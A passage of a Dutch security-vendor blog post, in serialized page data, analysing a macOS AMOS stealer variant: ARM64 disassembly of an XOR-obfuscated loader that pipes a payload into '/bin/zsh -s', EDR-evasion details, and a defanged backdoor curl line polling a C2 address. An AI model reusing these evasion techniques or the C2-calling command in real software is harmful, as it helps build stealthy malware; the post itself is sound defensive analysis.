XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously\n100000980:  str d0,[sp, #0x20]        ; store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[555,2296,2294],{"__ignoreMap":585},[528,2298,2299,2300,2303,2304,2306,2307,2310],{},"De XOR-sleutel is ",[555,2301,2302],{},"0x2e",", de ASCII-waarde van ",[555,2305,1530],{}," (punt). De decodering gebeurt in één enkele ",[555,2308,2309],{},"eor v0.8B, v0.8B, v1.8B","-instructie, een ARM64-NEON-vectorinstructie die alle 8 bytes gelijktijdig XOR't. Een SIMD-instructie gebruiken voor een eenvoudige decode van 8 byte is ongebruikelijk en heeft twee effecten: sneller dan een byte-voor-byte-loop, en het instructiepatroon dat daaruit ontstaat wijkt fundamenteel af van de scalaire decodeloops waarop signature-matching-tools getraind zijn.",[528,2312,2313,2314,1324,2317,1324,2320,1324,2323,2326,2327,2330],{},"De verificatie is eenvoudig: ",[555,2315,2316],{},"0x01 XOR 0x2e = 0x2f = /",[555,2318,2319],{},"0x4c XOR 0x2e = 0x62 = b",[555,2321,2322],{},"0x47 XOR 0x2e = 0x69 = i",[555,2324,2325],{},"0x40 XOR 0x2e = 0x6e = n",", wat in de eerste vier bytes ",[555,2328,2329],{},"/bin"," oplevert.",[706,2332,2334],{"id":2333},"stap-2-de-pipe-architectuur","Stap 2: de pipe-architectuur",[528,2336,712],{},[528,2338,2339],{},"Na het decoderen van de commandonaam maakt de functie een OS-pipe aan en forkt:",[573,2341,2342],{"style":575},[577,2343,2346],{"className":2344,"code":2345,"language":582},[580],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[555,2347,2345],{"__ignoreMap":585},[528,2349,2350],{},"In het childproces:",[573,2352,2353],{"style":575},[577,2354,2357],{"className":2355,"code":2356,"language":582},[580],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[555,2358,2356],{"__ignoreMap":585},[528,2360,2361,2362,2365,2366,2369,2370,2372],{},"Het childproces vervangt zijn standaardinput door het lees-eind van de pipe en start ",[555,2363,2364],{},"/bin/zsh -s",". In de ",[555,2367,2368],{},"-s","-modus leest de shell commando's van stdin. Voor process-monitoringtools verschijnt dit proces als ",[555,2371,2364],{}," zonder argumenten, niet te onderscheiden van een legitieme interactieve shellsessie.",[706,2374,2376],{"id":2375},"stap-3-chunk-writes-met-variabele-grootte","Stap 3: chunk-writes met variabele grootte",[528,2378,712],{},[528,2380,2381],{},"Het parentproces schrijft de ontsleutelde payload in bewust variërende chunkgroottes naar het schrijf-eind van de pipe:",[573,2383,2384],{"style":575},[577,2385,2388],{"className":2386,"code":2387,"language":582},[580],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[555,2389,2387],{"__ignoreMap":585},[528,2391,2392,2393,2396,2397,2400,2401,2404,2405,2408],{},"De chunkgrootteformule ",[555,2394,2395],{},"(remaining_length % 192) + 64"," levert waarden tussen 64 en 255 byte per write-aanroep, afhankelijk van de resterende payloadlengte. Het variabele writepatroon is zichtbaar in kernel-event-tracing-tools als ",[555,2398,2399],{},"ktrace"," of ",[555,2402,2403],{},"dtrace",", maar levert geen herkenbare signature met vaste grootte op. Elke uitvoering van dezelfde payload produceert een andere reeks van ",[555,2406,2407],{},"write()","-syscallgroottes.",[528,2410,919,2411,2413],{},[555,2412,1120],{}," van 1 microseconde tussen de chunks dient een tweede doel: die geeft de CPU tussen de schrijfoperaties vrij, houdt het CPU-gebruik vlak en voorkomt een plotselinge piek die een gedragsgebaseerde EDR-regel als afwijkende burst-I/O zou kunnen markeren.",[706,2415,2417],{"id":2416},"stap-4-onmiddellijke-geheugenopruiming","Stap 4: onmiddellijke geheugenopruiming",[528,2419,712],{},[573,2421,2422],{"style":575},[577,2423,2426],{"className":2424,"code":2425,"language":582},[580],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[555,2427,2425],{"__ignoreMap":585},[528,2429,919,2430,2433],{},[555,2431,2432],{},"_bzero()","-aanroep nult de volledige ontsleutelde payloadbuffer direct na de laatste schrijfoperatie naar de pipe. Geen tijdvenster, zelfs geen microseconde, waarin de ontsleutelde payload na afronding van de uitvoering nog in het geheugen zou staan. Een live memory dump die direct na het terugkeren van deze functie wordt gemaakt, vindt alleen nullen waar de payload stond.",[528,2435,2436,2437,2440],{},"Dat wordt ",[771,2438,2439],{},"zero-after-use"," genoemd, dezelfde techniek die hoogbeveiligde cryptografische bibliotheken inzetten zodat sleutelmateriaal niet in het geheugen achterblijft. Dat deze techniek in commodity malware opduikt, is ongebruikelijk en wijst op een ontwikkelaar met een achtergrond in security engineering.",[706,2442,2444],{"id":2443},"de-volledige-uitvoeringssequentie","De volledige uitvoeringssequentie:",[528,2446,712],{},[573,2448,2449],{"style":575},[577,2450,2453],{"className":2451,"code":2452,"language":582},[580],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[555,2454,2452],{"__ignoreMap":585},[562,2456,2458],{"id":2457},"de-import-table-als-wapen","De import table als wapen",[528,2460,568],{},[528,2462,2463],{},"De volledige import table van deze binary:",[573,2465,2466],{"style":575},[577,2467,2470],{"className":2468,"code":2469,"language":582},[580],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[555,2471,2469],{"__ignoreMap":585},[528,2473,2474],{},"In totaal 27 symbolen. Wat ontbreekt, is minstens zo verhelderend als wat aanwezig is.",[706,2476,2478],{"id":2477},"afwezig-netwerk","Afwezig: netwerk",[528,2480,712],{},[573,2482,2483],{"style":575},[577,2484,2487],{"className":2485,"code":2486,"language":582},[580],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[555,2488,2486],{"__ignoreMap":585},[706,2490,2492],{"id":2491},"afwezig-bestandssysteem","Afwezig: bestandssysteem",[528,2494,712],{},[573,2496,2497],{"style":575},[577,2498,2501],{"className":2499,"code":2500,"language":582},[580],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[555,2502,2500],{"__ignoreMap":585},[706,2504,2506],{"id":2505},"afwezig-procesintrospectie","Afwezig: procesintrospectie",[528,2508,712],{},[573,2510,2511],{"style":575},[577,2512,2515],{"className":2513,"code":2514,"language":582},[580],"getpid      getuid      getenv      sysctl\n",[555,2516,2514],{"__ignoreMap":585},[706,2518,2520],{"id":2519},"afwezig-cryptografie","Afwezig: cryptografie",[528,2522,568],{},[573,2524,2525],{"style":575},[577,2526,2529],{"className":2527,"code":2528,"language":582},[580],"CCCrypt     SecItemAdd  SecKeychainFind\n",[555,2530,2528],{"__ignoreMap":585},[528,2532,2533,2534,1324,2537,2540,2541,1324,2544,2547],{},"Bij een traditioneel malwaresample verwacht je netwerk-imports (",[555,2535,2536],{},"socket",[555,2538,2539],{},"connect",") of file-imports (",[555,2542,2543],{},"fopen",[555,2545,2546],{},"write","). Deze binary heeft er geen enkele. Voor een standaardscanner ziet ze eruit als een onschuldige processlauncher, en dat is zo bedoeld: een bewuste architectuurkeuze die statische analysetools met lege handen laat staan.",[528,2549,919,2550,2552],{},[555,2551,922],{},"-binary voert de diefstal niet zelf uit. Haar enige doel is het neerzetten en uitvoeren van de eigenlijke kwaadaardige payload, een sterk geobfusceerd AppleScript. Een EDR of AV die naar kwaadaardige binaries zoekt, ziet hier een loader zonder netwerk- of file-I/O en beoordeelt die mogelijk als schoon, zonder te herkennen dat de binary een gespecialiseerd afleversysteem is voor een high-level scriptpayload.",[538,2554],{},[541,2556,2558],{"id":2557},"de-backdoor","De backdoor",[528,2560,547],{},[528,2562,2563,2564,2567],{},"Het incident eindigde niet na de initiële compromittering. Telemetrie van Microsoft Defender toonde een proces dat vanuit ",[555,2565,2566],{},"/Users/\u003Credacted>/.mainhelper"," liep en een externe server opvroeg:",[573,2569,2570],{"style":575},[577,2571,2573],{"className":782,"code":2572,"language":784,"meta":585,"style":585},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[555,2574,2575],{"__ignoreMap":585},[622,2576,2577,2580,2582],{"class":624,"line":625},[622,2578,2579],{"class":791},"sh",[622,2581,796],{"class":795},[622,2583,2584],{"class":809}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[528,2586,2587],{},"De base64-string decodeerde naar een device-UUID van 16 byte, de unieke identifier die de C2-infrastructuur van de aanvaller op de dag van de eerste infectie aan dit toestel had toegekend.",[528,2589,919,2590,2593,2594,2597,2598,2600],{},[555,2591,2592],{},".mainhelper","-binary (SHA-256: ",[555,2595,2596],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063",") was op de dag van het incident door de osascript-dropper via ",[555,2599,792],{}," geïnstalleerd.",[538,2602],{},[541,2604,2606],{"id":2605},"de-kracht-van-het-collectieve-schild-ons-shared-threat-intelligence-platform","De kracht van het collectieve schild: ons Shared Threat Intelligence Platform",[528,2608,547],{},[528,2610,2611],{},"Wanneer in ons SOC een alert afgaat, begint de klok niet alleen te lopen voor de getroffen klant, maar voor elke organisatie onder het beschermingsschild van glueckkanja. Dit onderzoek naar een ongedocumenteerde AMOS-variant maakt duidelijk wat de intelligence gap in de praktijk betekent: een gevaarlijk tijdvenster waarin klassieke aanbieders blind zijn, omdat ze de dreiging nog niet hebben gezien.",[528,2613,2614],{},"Hier laat ons eigen Shared Threat Intelligence Platform zijn waarde zien, exclusief ontwikkeld voor CSOC-klanten van glueckkanja. Wij wachten niet op updates uit de branche, wij maken ze. Terwijl onze analisten nog de laatste lagen van de ARM64-assembly aan het afbreken waren, verdeelde onze Automated Orchestration Engine de geëxtraheerde indicatoren al over ons hele ecosysteem. Dat levert groepsimmuniteit op: wat op één enkel endpoint wordt ontdekt, is binnen enkele minuten een geblokkeerde dreiging voor elke organisatie onder onze bescherming.",[528,2616,2617],{},"Reactieve security werkt niet tegen dreigingen die doelgericht door de gaten van conventionele verdedigingsmechanismen glippen. Het antwoord ligt in de combinatie van menselijke expertise met een architectuur die deze kennis onmiddellijk en op schaal inzet. Door ons shared-intelligence-model draait het tijdvoordeel van de aanvaller om: onze klanten zijn beschermd voordat de branche de dreiging zelfs maar herkent.",[2619,2620,2621,2626,2629,2632],"blockquote",{},[528,2622,2623],{},[771,2624,2625],{},"Opmerking over privacy",[528,2627,2628],{},"Identificerende informatie is in deze publicatie geanonimiseerd. Specifieke technische details, indicatoren en tijdstempels kunnen licht zijn aangepast om de lopende bescherming van de betrokken omgeving te waarborgen, zonder de technische integriteit van de analyse aan te tasten.",[528,2630,2631],{},"De technische analyses en Indicators of Compromise (IOCs) in dit rapport dienen uitsluitend ter informatie en scholing. Ze worden naar beste weten verstrekt. glueckkanja AG geeft geen expliciete of impliciete garanties over volledigheid of nauwkeurigheid en is niet aansprakelijk voor schade, verlies of security-incidenten die voortkomen uit het gebruik van de hier gedeelde informatie, regels of signatures. Wij raden aan alle indicatoren en regels voor inzet te valideren in een gecontroleerde omgeving.",[528,2633,2634],{},"Beschreven indicatoren en technieken kunnen overlappen met bekende malwarefamilies en zijn niet exclusief toe te wijzen aan één enkele campagne.",[2636,2637,2638],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":585,"searchDepth":631,"depth":631,"links":2640},[2641,2642,2643,2644,2651,2652,2653,2654,2662,2669],{"id":564,"depth":631,"text":565},{"id":605,"depth":631,"text":606},{"id":666,"depth":631,"text":667},{"id":698,"depth":631,"text":699,"children":2645},[2646,2647,2648,2649,2650],{"id":708,"depth":849,"text":709},{"id":723,"depth":849,"text":724},{"id":737,"depth":849,"text":738},{"id":746,"depth":849,"text":747},{"id":763,"depth":849,"text":764},{"id":929,"depth":631,"text":930},{"id":1019,"depth":631,"text":1020},{"id":1135,"depth":631,"text":1136},{"id":1206,"depth":631,"text":1207,"children":2655},[2656,2657,2658,2659,2660,2661],{"id":1221,"depth":849,"text":1222},{"id":1509,"depth":849,"text":1510},{"id":1764,"depth":849,"text":1765},{"id":1958,"depth":849,"text":1959},{"id":2045,"depth":849,"text":2046},{"id":2197,"depth":849,"text":2198},{"id":2251,"depth":631,"text":2252,"children":2663},[2664,2665,2666,2667,2668],{"id":2267,"depth":849,"text":2268},{"id":2333,"depth":849,"text":2334},{"id":2375,"depth":849,"text":2376},{"id":2416,"depth":849,"text":2417},{"id":2443,"depth":849,"text":2444},{"id":2457,"depth":631,"text":2458,"children":2670},[2671,2672,2673,2674],{"id":2477,"depth":849,"text":2478},{"id":2491,"depth":849,"text":2492},{"id":2505,"depth":849,"text":2506},{"id":2519,"depth":849,"text":2520},"md","post",{"lang":2678,"seoTitle":2679,"titleClass":2680,"date":2681,"categories":2682,"blogtitlepic":2683,"socialimg":2684,"customExcerpt":2685,"keywords":2686,"maxContent":325,"asideNav":2687,"footer":2702,"contactInContent":2703,"published":325},"nl","AMOS-stealervariant: reverse engineering van onbekende macOS-malware","h2-font-size","2026-04-10",[235],"head-amos-stealer.png","/blog/heads/head-amos-stealer.png","Een tot dan toe ongedocumenteerde AMOS-stealervariant compromitteerde een macOS-endpoint. Geen bekende hashes, geen C2-gegevens in openbare databases. Ons SOC haalde zes obfuscatielagen uit elkaar, extraheerde alle indicatoren en verdeelde de bescherming binnen enkele uren over alle SOC-klanten, nog voordat de branche het sample had gezien.","AMOS Stealer, macOS malware, Reverse Engineering, malware-analyse, Ghidra, ARM64, Incident Response, Threat Intelligence, CSOC, macOS security, Stealer-malware, Shared Threat Intelligence, Atomic macOS Stealer",{"menuItems":2688},[2689,2692,2694,2697,2699],{"href":2690,"text":2691},"#het-incident-een-onbekend-ioc-scenario","Het incident",{"href":2693,"text":565},"#stage-1-sandbox-checks",{"href":2695,"text":2696},"#stage-2-reverse-engineering-van-de-helper-binary","Stage 2: binary-analyse",{"href":2698,"text":2558},"#de-backdoor",{"href":2700,"text":2701},"#de-kracht-van-het-collectieve-schild-ons-shared-threat-intelligence-platform","Shared Threat Intelligence",{"noMargin":325},{"quote":325,"infos":2704},{"bgColor":2705,"headline":2706,"subline":2707,"level":562,"textStyling":2708,"flush":2709,"person":2710,"form":2716},"var(--color-gk-dark-blue)","Neem contact op","Wil je weten hoe ons Shared Threat Intelligence Platform je beschermt tegen onbekende malwarevarianten, nog voordat de branche ervan hoort? Spreek ons aan.","text-light","justify-content-end",{"image":2711,"cloudinary":325,"alt":2712,"name":2713,"quotee":2713,"quoteeTitle":2714,"quote":2715},"/people/people-jan-geisbauer-csoc.jpg","Portret van Jan Geisbauer, Head of Security bij glueckkanja","Jan Geisbauer","Head of Security","Het gevaarlijke aan deze variant was niet de technische complexiteit, hoe indrukwekkend die ook is. Gevaarlijk was het tijdvenster. Zonder Shared Threat Intelligence hadden onze andere klanten urenlang onbeschermd gestaan, terwijl wij nog aan het analyseren waren.",{"ctaText":2717,"cta":2718,"method":2676,"action":2720,"fields":2721},"Versturen",{"skin":2719},"primary on-surface","/send",[2722,2726,2730,2733,2737,2742,2747,2749,2752,2755,2758,2760],{"type":2723,"id":2724,"value":2725},"hidden","_next","successful",{"label":2727,"type":582,"id":2728,"required":325,"requiredMsg":2729},"Naam*","name","Vul je naam in.",{"label":2731,"type":582,"id":403,"required":325,"requiredMsg":2732},"Bedrijf*","Vul je bedrijf in.",{"label":2734,"type":2735,"id":2735,"required":325,"requiredMsg":2736},"E-mailadres*","email","Vul je e-mailadres in.",{"label":2738,"type":2739,"id":2740,"required":484,"requiredMsg":2741},"Jouw bericht aan ons","textarea","message","Vul een bericht in.",{"label":2743,"type":2744,"id":2745,"required":325,"requiredMsg":2746},"Jouw gegevens worden bij ons opgeslagen om je aanvraag te behandelen en te beantwoorden. Meer informatie over privacy vind je in onze \u003Ca href=\"/nl/privacy\">privacyverklaring\u003C/a>.","checkbox","dataprotection","Graag bevestigen",{"type":2723,"id":2748,"value":235},"_topic",{"type":2723,"id":2750,"value":2751},"_location","World",{"type":2723,"id":2753,"value":2754},"_subject","Form: Blog AMOS Stealer CSOC | NL",{"type":2723,"id":2756,"value":2757},"inbox_key","gkgab-contact-form",{"type":2723,"id":2759},"_gotcha",{"type":2723,"id":2761},"jsonData","/posts/2026-04-10-incident-to-intelligence",{"title":521,"description":530},"posts/2026-04-10-incident-to-intelligence",[2766,2767,2768,2769,2770],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center","fCynfvSbDp9guR3rr4tNPKf5wIihkBcmfcvot6mf4Ek",{"id":2773,"extension":2774,"meta":2775,"stem":8,"__hash__":3123},"authors_data/authors.json","json",{"path":2776,"Fritz Zurhorst":2777,"Alexander Schlindwein":2783,"Sophie Luna":2789,"Nadine Klein":2797,"Karsten Kleinschmidt":2803,"Julian Wendt":2811,"Holger Bunkradt":2816,"Ralf Mania":2822,"Oliver Kieselbach":2828,"Steffen Schwerdtfeger":2834,"Gunnar Winter":2842,"Jan Petersen":2847,"Thorsten Kunzi":2852,"Moritz Pohl":2856,"Thorben Pöschus":2861,"Christoph Hannebauer":2867,"Marco Scheel":2871,"Christopher Brumm":2876,"Florian Klante":2883,"Niklas Bachmann":2888,"Nils Krautkrämer":2893,"Patrick Treptau":2899,"Peter Beckendorf":2904,"Patrick Sobau":2909,"Jörg Wunderlich":2914,"Michael Breither":2918,"Christian Kanja":2923,"Zeba Hoffmann":2929,"Jochen Fröhlich":2934,"Jan Geisbauer":2938,"Gerrit Reinke":2948,"Christian Kordel":2954,"Stephan Wälde":2958,"Carolin Kanja":2963,"Adrian Ritter":2969,"Marvin Bangert":2974,"Thorsten Pickhan":2980,"Christian Lorenz":2986,"Denis Böhm":2991,"Fabian Bader":2996,"Juan Jose Fernandez Perez":3002,"Mahschid Sayyar":3007,"Benjamin Dassow":3012,"Markus Walschburger":3017,"Jonathan Haist":3022,"Daniel Rohregger":3027,"Thomas Naunheim":3032,"Florian Stöckl":3037,"Pascal Asch":3042,"Markus Kättner":3046,"Anna Ulbricht":3053,"Annette Brauns":3060,"body":3066,"title":3122},"/authors",{"display_name":2778,"avatar":2779,"permalink":2780,"linkedin":2781,"imageOffsetTop":2782},"Fritz Zurhorst","people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":2784,"avatar":2785,"permalink":2786,"twitter":2787,"linkedin":2788},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":2790,"avatar":2791,"permalink":2792,"twitter":2793,"linkedin":2794,"imageOffsetLeft":2795,"imageOffsetTop":2796},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":2798,"avatar":2799,"permalink":2800,"twitter":2801,"linkedin":2802,"imageOffsetTop":2782},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":2804,"avatar":2805,"permalink":2806,"twitter":2807,"linkedin":2808,"imageOffsetTop":2809,"imageOffsetLeft":2810},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":2812,"avatar":2813,"permalink":2814,"linkedin":2815},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":2817,"avatar":2818,"permalink":2819,"linkedin":2820,"twitter":2821},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":2823,"avatar":2824,"permalink":2825,"linkedin":2826,"twitter":2827},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":2829,"avatar":2830,"permalink":2831,"linkedin":2832,"twitter":2833},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":2835,"avatar":2836,"permalink":2837,"linkedin":2838,"twitter":2839,"imageOffsetTop":2840,"imageOffsetLeft":2841},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":2843,"avatar":2844,"permalink":2845,"twitter":2793,"linkedin":2846},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":2848,"avatar":2849,"permalink":2850,"twitter":2793,"linkedin":2851},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":2853,"avatar":2854,"permalink":2855,"twitter":2793,"linkedin":2846,"imageOffsetTop":2782},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":2857,"avatar":2858,"permalink":2859,"twitter":2793,"linkedin":2860},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":2862,"avatar":2863,"permalink":2864,"twitter":2865,"linkedin":2866},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":2868,"avatar":2869,"permalink":2870,"twitter":2793,"linkedin":2846,"imageOffsetTop":2782},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":2872,"avatar":2873,"permalink":2874,"twitter":2875,"linkedin":2875},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":2877,"avatar":2878,"permalink":2879,"twitter":2880,"linkedin":2881,"imageOffsetTop":2882},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":2884,"avatar":2885,"permalink":2886,"linkedin":2887,"twitter":2793},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":2889,"avatar":2890,"permalink":2891,"linkedin":2892,"twitter":2793},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":2894,"avatar":2895,"permalink":2896,"twitter":2897,"linkedin":2898},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":2900,"avatar":2901,"permalink":2902,"linkedin":2903,"twitter":2793},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":2905,"avatar":2906,"permalink":2907,"linkedin":2908,"twitter":2793,"imageOffsetTop":2782},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":2910,"avatar":2911,"permalink":2912,"linkedin":2913,"twitter":2793},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":2915,"avatar":2916,"permalink":2917,"twitter":2793},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":2919,"avatar":2920,"permalink":2921,"twitter":2793,"linkedin":2922},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":2924,"avatar":2925,"permalink":2926,"twitter":2927,"linkedin":2928},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":2930,"avatar":2931,"permalink":2932,"linkedin":2933,"twitter":2793},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":2935,"avatar":2936,"permalink":2937,"twitter":2793,"linkedin":2846},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":2713,"avatar":2939,"permalink":2940,"twitter":2941,"linkedin":2941,"imageOffsetTop":2782,"socials":2942},"people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[2943,2945],{"text":472,"href":2944},"https://emptydc.com",{"text":2946,"href":2947},"Podcast","https://hairlessinthecloud.com",{"display_name":2949,"avatar":2950,"permalink":2951,"twitter":2952,"linkedin":2953},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":2955,"avatar":2956,"permalink":2957,"twitter":2793,"linkedin":2846},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":2959,"avatar":2960,"permalink":2961,"twitter":2962,"linkedin":2846},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":2964,"avatar":2965,"permalink":2966,"twitter":2967,"linkedin":2968},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":2970,"avatar":2971,"permalink":2972,"twitter":2973,"linkedin":2973},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":2975,"avatar":2976,"permalink":2977,"twitter":2978,"linkedin":2979},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":2981,"avatar":2982,"permalink":2983,"twitter":2984,"linkedin":2985},"Thorsten 